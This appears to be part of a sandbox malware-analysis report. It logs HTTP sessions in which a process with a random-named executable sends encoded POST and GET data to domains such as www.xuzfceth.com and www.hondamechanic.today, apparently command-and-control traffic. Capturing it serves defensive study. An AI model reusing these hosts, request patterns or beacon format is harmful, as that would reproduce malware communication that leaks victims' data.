Jul 3, 2024 18:53:49.602623940 CEST	730	OUT	POST /wvfe/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.xuzfceth.com Origin: http://www.xuzfceth.com Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 210 Referer: http://www.xuzfceth.com/wvfe/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 5a 36 5a 54 47 3d 77 71 72 46 6f 79 73 46 55 31 68 45 33 43 35 54 71 50 6a 4a 76 58 2b 55 55 35 66 72 6a 54 66 63 32 62 6c 49 44 6f 49 75 6e 54 41 42 58 6f 75 53 52 32 71 51 44 4f 54 69 53 33 77 5a 79 30 49 62 36 63 59 75 41 48 72 4c 64 4d 36 56 4c 54 58 37 64 58 62 4d 75 46 49 77 4e 43 61 76 36 72 39 30 4e 70 44 34 72 78 32 46 39 50 6b 63 51 41 6b 52 42 4a 32 76 52 64 4b 6f 4d 35 54 57 47 79 54 59 68 77 63 7a 32 6e 4a 5a 4f 56 54 54 65 7a 71 6a 58 63 46 6a 33 55 54 4f 30 75 4a 4e 69 6e 45 6f 55 75 78 58 6c 4f 66 43 65 70 49 65 6e 31 42 6b 2f 49 67 64 78 49 73 53 45 2b 2f 57 66 6b 43 4a 44 6e 67 6d 34 39 7a 7a 6a 4a 5a 74 Data Ascii: Z6ZTG=wqrFoysFU1hE3C5TqPjJvX+UU5frjTfc2blIDoIunTABXouSR2qQDOTiS3wZy0Ib6cYuAHrLdM6VLTX7dXbMuFIwNCav6r90NpD4rx2F9PkcQAkRBJ2vRdKoM5TWGyTYhwcz2nJZOVTTezqjXcFj3UTO0uJNinEoUuxXlOfCepIen1Bk/IgdxIsSE+/WfkCJDngm49zzjJZt
Jul 3, 2024 18:53:50.554016113 CEST	295	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Wed, 03 Jul 2024 16:53:50 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49743	152.32.156.214	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:53:52.141702890 CEST	754	OUT	POST /wvfe/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.xuzfceth.com Origin: http://www.xuzfceth.com Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 234 Referer: http://www.xuzfceth.com/wvfe/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 5a 36 5a 54 47 3d 77 71 72 46 6f 79 73 46 55 31 68 45 32 69 70 54 70 73 4c 4a 70 33 2b 54 52 35 66 72 34 6a 66 69 32 62 5a 49 44 70 64 32 6e 68 55 42 58 4a 65 53 51 31 79 51 50 75 54 69 5a 58 77 63 38 55 49 75 36 63 45 59 41 47 58 4c 64 50 47 56 4c 53 4c 37 63 6b 7a 4e 74 31 49 79 57 79 61 68 6c 37 39 30 4e 70 44 34 72 79 4c 71 39 4d 55 63 51 78 55 52 41 6f 32 75 63 39 4b 72 45 5a 54 57 52 43 53 52 68 77 64 65 32 6d 56 2f 4f 54 58 54 65 78 79 6a 58 74 46 73 75 6b 54 49 72 65 49 6b 73 45 63 6c 53 49 41 32 6d 39 4b 75 4b 72 45 48 6d 44 41 2b 6a 37 67 2b 6a 59 4d 51 45 38 6e 6b 66 45 43 6a 42 6e 59 6d 71 71 2f 55 73 39 38 4f 4c 72 4a 37 4a 68 33 4e 6a 68 43 71 6b 58 52 4e 66 4b 45 38 52 41 3d 3d Data Ascii: Z6ZTG=wqrFoysFU1hE2ipTpsLJp3+TR5fr4jfi2bZIDpd2nhUBXJeSQ1yQPuTiZXwc8UIu6cEYAGXLdPGVLSL7ckzNt1IyWyahl790NpD4ryLq9MUcQxURAo2uc9KrEZTWRCSRhwde2mV/OTXTexyjXtFsukTIreIksEclSIA2m9KuKrEHmDA+j7g+jYMQE8nkfECjBnYmqq/Us98OLrJ7Jh3NjhCqkXRNfKE8RA==
Jul 3, 2024 18:53:53.073028088 CEST	295	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Wed, 03 Jul 2024 16:53:52 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49744	152.32.156.214	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:53:54.682863951 CEST	1767	OUT	POST /wvfe/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.xuzfceth.com Origin: http://www.xuzfceth.com Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 1246 Referer: http://www.xuzfceth.com/wvfe/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 5a 36 5a 54 47 3d 77 71 72 46 6f 79 73 46 55 31 68 45 32 69 70 54 70 73 4c 4a 70 33 2b 54 52 35 66 72 34 6a 66 69 32 62 5a 49 44 70 64 32 6e 68 4d 42 55 37 36 53 53 56 4f 51 4f 75 54 69 48 6e 77 64 38 55 49 4a 36 63 64 52 41 47 62 39 64 4b 43 56 49 77 76 37 62 56 7a 4e 36 46 49 79 4a 43 61 73 36 72 39 74 4e 70 7a 38 72 79 62 71 39 4d 55 63 51 79 4d 52 48 35 32 75 61 39 4b 6f 4d 35 54 61 47 79 53 39 68 77 46 67 32 6d 42 77 4f 69 72 54 65 52 69 6a 48 4c 35 73 78 55 54 4b 6f 65 49 38 73 45 68 6c 53 49 30 55 6d 2b 58 7a 4b 72 77 48 6b 57 39 67 7a 76 34 46 69 4b 55 69 63 2f 66 53 65 42 43 31 46 58 63 42 69 36 33 59 6a 63 49 39 45 37 56 50 64 78 4f 75 68 47 4b 4c 75 78 38 6f 66 4c 68 79 54 69 6c 62 53 46 69 4d 67 68 52 36 2b 6c 50 4d 61 4e 62 4f 57 75 6d 79 48 50 4d 4e 59 50 69 48 44 4c 64 35 62 6a 53 33 66 5a 52 61 66 38 6c 2b 61 65 4a 6c 69 32 53 33 30 35 66 51 44 48 64 49 62 52 50 7a 41 61 51 43 69 6a 55 79 6d 70 4e 65 39 66 7a 6e 4c 35 37 44 53 6c 58 41 56 6b 6a 49 38 31 38 34 35 68 2b 6f 38 72 77 55 [TRUNCATED] Data Ascii: Z6ZTG=wqrFoysFU1hE2ipTpsLJp3+TR5fr4jfi2bZIDpd2nhMBU76SSVOQOuTiHnwd8UIJ6cdRAGb9dKCVIwv7bVzN6FIyJCas6r9tNpz8rybq9MUcQyMRH52ua9KoM5TaGyS9hwFg2mBwOirTeRijHL5sxUTKoeI8sEhlSI0Um+XzKrwHkW9gzv4FiKUic/fSeBC1FXcBi63YjcI9E7VPdxOuhGKLux8ofLhyTilbSFiMghR6+lPMaNbOWumyHPMNYPiHDLd5bjS3fZRaf8l+aeJli2S305fQDHdIbRPzAaQCijUympNe9fznL57DSlXAVkjI81845h+o8rwUD0D7T/GBL0Q21Yp0XQUYDKqfI4irvn4CII1p8hrx8BnXZvYZ6BHyp/RKUG0Mmmme44tZfpPqilL3EcBwOVuX7yH22qkSGLLm3sM3pIkDIESnWB57d2bd+HESQjVfvBh1JsivWJ6D/nn4N0mR5uR3egMcBzCS+7+iTHXFZKw0/B2+qMCb22ZDTG1tIRfmwUle4jz/XKosB4a1X5yuHbhkJuzHpDtbg2493LnCCjm6yTOqBzc5fn48IGytRFBRmA9lVgQlJtKKMOX+vUGvM/C7T3tlFLLSFqcwl/N/sbS48IzCfK1yFWd/MWq3/vaK5PFtPw9YltcG+dckcYJFzmuEKisJSx8CZZNUqvo1y7gmQX8WMx9V4dwkcpkl5/JI6+1pKwn2JAn1hkyDPA0jQiMAyU3k5uHmV7+x8uUxOsfooDwj1owu/cLstNzkCztQDzIjlNlnAkC3mOZ2MlkWqJsn93FNLcIOGZK+OSUr8rMLZJwS0vbdUz39IkqbUUU58/dNo+E4k5r8/PN7qj2PqgfwDK0T/CiiQQXYgKhBW30fRvGNFNCmR10W98WSjmWdk6bf6Bbhj2tP6tOeFYiGVVIRTdvkLoiSJeWG7aHFh+7LdEhTTeyohLXvTLAr9KkjbJ6t/ArER8C2ikHFHLFHWVGL8N/KAiaXLijkFI [TRUNCATED]
Jul 3, 2024 18:53:55.608947039 CEST	295	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Wed, 03 Jul 2024 16:53:55 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49745	152.32.156.214	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:53:57.213774920 CEST	478	OUT	GET /wvfe/?3pSl=bXiTJHhxyN&Z6ZTG=9oDlrGBoczxc0gczmqK1qT+UWdDZ5zHLqosyG+84tRh7R4eQSXiPG8LnfVg9iGgF5+wWImCEQfufShLjWU3N10ZwNVybtIBwFMrSzRX1wq0uGk8UZr/5T8KnA73sbBy91RxM/wk= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.xuzfceth.com Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Jul 3, 2024 18:53:58.245620012 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 03 Jul 2024 16:53:58 GMT Content-Type: text/html Content-Length: 2495 Last-Modified: Fri, 12 Jan 2024 02:44:44 GMT Connection: close Vary: Accept-Encoding ETag: "65a0a79c-9bf" Accept-Ranges: bytes Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 61 74 61 2d 6e 2d 68 65 61 64 3d 22 25 37 42 25 32 32 6c 61 6e 67 25 32 32 3a 25 37 42 25 32 32 31 25 32 32 3a 25 32 32 65 6e 25 32 32 25 37 44 25 37 44 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 48 4f 44 4f 52 20 49 4e 44 49 41 20 53 45 43 55 52 49 54 59 20 53 45 52 56 49 43 45 53 20 50 52 49 56 41 54 45 20 4c 49 4d 49 54 45 44 20 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 64 61 74 61 2d 6e 2d 68 65 61 64 3d 22 31 22 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 64 61 74 61 2d 6e 2d 68 65 61 64 3d 22 31 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6d 65 74 61 20 64 61 74 61 2d 6e 2d 68 65 61 64 3d 22 31 22 20 64 61 74 61 2d 68 69 64 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 [TRUNCATED] Data Ascii: <!doctype html><html lang="en" data-n-head="%7B%22lang%22:%7B%221%22:%22en%22%7D%7D"> <head> <title>HODOR INDIA SECURITY SERVICES PRIVATE LIMITED </title><meta data-n-head="1" charset="utf-8"><meta data-n-head="1" name="viewport" content="width=device-width,initial-scale=1"><meta data-n-head="1" data-hid="description" name="description" content=""><meta data-n-head="1" name="format-detection" content="telephone=no"><link data-n-head="1" rel="icon" type="image/x-icon" href="/favicon.ico"><link rel="preload" href="/_nuxt/e186113.js" as="script"><link rel="preload" href="/_nuxt/eff948d.js" as="script"><link rel="preload" href="/_nuxt/7b29598.js" as="script"> </head> <body> <div id="__nuxt"><style>#nuxt-loading{background:#fff;visibility:hidden;opacity:0;position:absolute;left:0;right:0;top:0;bottom:0;display:flex;justify-content:center;align-items:center;flex-direction:column;animation:nuxtLoadingIn 10s ease;-webkit-animation:nuxtLoadingIn 10s ease;animation-f
Jul 3, 2024 18:53:58.245637894 CEST	1236	IN	Data Raw: 69 6c 6c 2d 6d 6f 64 65 3a 66 6f 72 77 61 72 64 73 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 40 6b 65 79 66 72 61 6d 65 73 20 6e 75 78 74 4c 6f 61 64 69 6e 67 49 6e 7b 30 25 7b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 6f 70 Data Ascii: ill-mode:forwards;overflow:hidden}@keyframes nuxtLoadingIn{0%{visibility:hidden;opacity:0}20%{visibility:visible;opacity:0}100%{visibility:visible;opacity:1}}@-webkit-keyframes nuxtLoadingIn{0%{visibility:hidden;opacity:0}20%{visibility:visibl
Jul 3, 2024 18:53:58.245649099 CEST	273	IN	Data Raw: 22 3e 3c 64 69 76 3e 4c 6f 61 64 69 6e 67 2e 2e 2e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 5f 5f 4e 55 58 54 5f 5f 3d 7b 63 6f 6e 66 69 67 3a 7b 5f 61 70 70 3a 7b 62 61 73 65 50 61 74 68 Data Ascii: "><div>Loading...</div></div></div><script>window.__NUXT__={config:{_app:{basePath:"/",assetsPath:"/_nuxt/",cdnURL:null}}}</script> <script src="/_nuxt/e186113.js"></script><script src="/_nuxt/eff948d.js"></script><script src="/_nuxt/7b29598

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49746	64.190.62.22	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:54:03.383797884 CEST	751	OUT	POST /expp/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.hondamechanic.today Origin: http://www.hondamechanic.today Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 210 Referer: http://www.hondamechanic.today/expp/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 5a 36 5a 54 47 3d 31 54 6e 57 67 72 54 50 77 42 36 6b 62 57 77 6e 52 54 30 78 72 41 43 4b 69 31 74 48 4b 6a 34 57 68 50 56 6c 56 58 53 75 34 75 47 51 41 76 45 53 58 61 61 61 30 50 67 43 31 52 77 73 70 43 54 6f 55 58 43 53 5a 56 41 2b 75 68 2f 4f 6f 2b 6e 4e 48 59 6b 65 62 36 6f 38 69 74 69 4a 37 33 37 73 55 67 6b 35 56 4f 64 6a 47 39 78 2f 5a 6d 73 74 39 66 36 54 66 55 55 66 33 4c 6b 47 48 59 30 41 59 35 33 52 63 33 61 72 37 44 38 49 72 35 30 42 58 70 41 2b 71 50 66 77 2f 68 56 6b 54 7a 78 66 49 75 61 54 42 73 2b 4c 77 47 79 6a 61 55 2b 47 36 52 66 51 53 6f 34 34 6c 33 49 48 43 66 49 67 58 6c 62 37 37 58 7a 35 46 79 48 64 Data Ascii: Z6ZTG=1TnWgrTPwB6kbWwnRT0xrACKi1tHKj4WhPVlVXSu4uGQAvESXaaa0PgC1RwspCToUXCSZVA+uh/Oo+nNHYkeb6o8itiJ737sUgk5VOdjG9x/Zmst9f6TfUUf3LkGHY0AY53Rc3ar7D8Ir50BXpA+qPfw/hVkTzxfIuaTBs+LwGyjaU+G6RfQSo44l3IHCfIgXlb77Xz5FyHd
Jul 3, 2024 18:54:04.029783964 CEST	305	IN	HTTP/1.1 405 Not Allowed date: Wed, 03 Jul 2024 16:54:03 GMT content-type: text/html content-length: 154 server: Parking/1.0 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49747	64.190.62.22	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:54:05.923355103 CEST	775	OUT	POST /expp/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.hondamechanic.today Origin: http://www.hondamechanic.today Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 234 Referer: http://www.hondamechanic.today/expp/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 5a 36 5a 54 47 3d 31 54 6e 57 67 72 54 50 77 42 36 6b 64 47 41 6e 42 41 73 78 2f 51 43 4a 74 56 74 48 54 7a 34 53 68 50 5a 6c 56 58 36 2b 34 39 75 51 42 4b 67 53 57 62 61 61 33 50 67 43 6e 78 77 74 33 79 53 6d 55 58 50 74 5a 56 4d 2b 75 67 62 4f 6f 37 62 4e 48 50 77 52 62 71 6f 79 75 4e 69 78 32 58 37 73 55 67 6b 35 56 50 73 47 47 39 70 2f 59 56 30 74 38 39 43 53 57 30 55 59 68 62 6b 47 44 59 30 63 59 35 33 7a 63 32 48 4d 37 42 55 49 72 39 77 42 57 34 41 35 39 66 66 79 67 78 55 34 44 51 49 70 4f 39 37 38 50 61 6d 58 7a 42 4f 6e 66 69 2f 63 6d 69 66 7a 41 34 59 36 6c 31 51 31 43 2f 49 4b 56 6c 6a 37 70 41 2f 65 4b 47 69 2b 4e 78 67 30 7a 2f 72 70 4a 68 74 6f 67 41 66 6e 59 30 6e 49 59 77 3d 3d Data Ascii: Z6ZTG=1TnWgrTPwB6kdGAnBAsx/QCJtVtHTz4ShPZlVX6+49uQBKgSWbaa3PgCnxwt3ySmUXPtZVM+ugbOo7bNHPwRbqoyuNix2X7sUgk5VPsGG9p/YV0t89CSW0UYhbkGDY0cY53zc2HM7BUIr9wBW4A59ffygxU4DQIpO978PamXzBOnfi/cmifzA4Y6l1Q1C/IKVlj7pA/eKGi+Nxg0z/rpJhtogAfnY0nIYw==
Jul 3, 2024 18:54:06.585807085 CEST	305	IN	HTTP/1.1 405 Not Allowed date: Wed, 03 Jul 2024 16:54:06 GMT content-type: text/html content-length: 154 server: Parking/1.0 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49748	64.190.62.22	80	5680	C:\Program Files (x86)\NXLBzGBJZEKXLSDXbGEARvNAbdTqqXUHbIINICYaWMGxMje\NwXvnHITawmpBkkZKEXJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:54:08.449192047 CEST	1788	OUT	POST /expp/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate Host: www.hondamechanic.today Origin: http://www.hondamechanic.today Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Content-Length: 1246 Referer: http://www.hondamechanic.today/expp/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 5a 36 5a 54 47 3d 31 54 6e 57 67 72 54 50 77 42 36 6b 64 47 41 6e 42 41 73 78 2f 51 43 4a 74 56 74 48 54 7a 34 53 68 50 5a 6c 56 58 36 2b 34 39 32 51 42 38 38 53 57 34 43 61 32 50 67 43 6b 78 77 6f 33 79 54 36 55 58 58 70 5a 55 77 75 75 69 54 4f 72 5a 6a 4e 54 71 4d 52 51 71 6f 79 6d 74 69 4b 37 33 37 35 55 67 31 77 56 50 63 47 47 39 70 2f 59 55 45 74 36 76 36 53 51 30 55 66 33 4c 6b 61 48 59 30 34 59 35 76 43 63 33 7a 32 37 52 30 49 72 64 67 42 55 4f 38 35 69 76 66 38 68 78 55 77 44 52 30 36 4f 39 6e 4b 50 61 36 78 7a 47 6d 6e 63 6e 61 2f 38 7a 62 30 63 6f 55 39 6b 48 31 52 4d 70 56 2b 4e 31 53 48 68 42 48 2f 46 58 65 65 4f 55 41 78 79 66 57 34 65 41 35 64 75 56 4f 6b 59 32 75 61 44 6d 75 47 56 4a 66 49 2b 76 4d 70 41 4c 43 54 63 67 6b 52 6c 34 61 4a 58 49 59 75 32 2f 6c 4b 66 70 32 4f 37 7a 75 69 71 70 35 41 64 4f 72 56 42 41 4c 49 44 36 6a 4c 71 61 58 4c 53 4e 72 66 33 42 58 50 2b 77 54 2b 4a 62 75 6c 78 65 32 62 61 79 34 64 47 38 66 68 76 68 79 4d 74 38 55 67 2b 46 2f 74 62 32 4b 75 32 52 34 67 [TRUNCATED] Data Ascii: Z6ZTG=1TnWgrTPwB6kdGAnBAsx/QCJtVtHTz4ShPZlVX6+492QB88SW4Ca2PgCkxwo3yT6UXXpZUwuuiTOrZjNTqMRQqoymtiK7375Ug1wVPcGG9p/YUEt6v6SQ0Uf3LkaHY04Y5vCc3z27R0IrdgBUO85ivf8hxUwDR06O9nKPa6xzGmncna/8zb0coU9kH1RMpV+N1SHhBH/FXeeOUAxyfW4eA5duVOkY2uaDmuGVJfI+vMpALCTcgkRl4aJXIYu2/lKfp2O7zuiqp5AdOrVBALID6jLqaXLSNrf3BXP+wT+Jbulxe2bay4dG8fhvhyMt8Ug+F/tb2Ku2R4gBCpYCyT9oB1aoLMoLJ0MkM/QKL04ER++NjfcJ1rwhUbn6IjOcJA+9PQVOQ3PMDGx4rXNxSsrcrYsqyAJFkKzyZWz3W8IB3eLe95uMEcvDg7oIZby8LkwXhCz/8oIZN7qsqTYNQnvxELCL2fQWRQWen9ohMGBQZDr57+gS96vL6IebsmNIA6dSmszoxTzC+XUtas/2CXxLrlmnacAqskJYFXSqUmTjcoD2j09HIBe1jrhQR1U2DJvm8e4HkWu5Z7t0vNW7OBvAqP89YvAjOUrxY9Sot5CjftAldvlZknJyCzQDR+NFyLOjk3/Qj9dCKltHBr7dOjFefh3VM24qo0Jo3xbeRpb5IcGfAh4LkjIiaSUEChf3cSXd7uHc6v/QqM/mw8LVNCAbP6sB4bbkCmcNjdeMjWN7fjc7n6cqF9jDcqs+//rfwKLaTlmjZlaRJb3mC7iyCmfqv1NiYtDjxGQ0cHgdVI0m//8Vg5+/1TCjhjUpW8aU2BssLG4M7USPc5DZvn17notTW3ktt6kZsyADlAsZyHta1WlOlvIQOUNibWXNiRLQJfSo0heiDezA9aZOS+VUAiztJ546ojwWoeZ5zsezWvC1ucUCOnf2KIdt1YaYj79waLpu+ZuoXyY8ltS7HjQnb44z/li8RVjnJuECIqtd1mjVUMtrP [TRUNCATED]
Jul 3, 2024 18:54:09.202433109 CEST	305	IN	HTTP/1.1 405 Not Allowed date: Wed, 03 Jul 2024 16:54:08 GMT content-type: text/html content-length: 154 server: Parking/1.0 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>
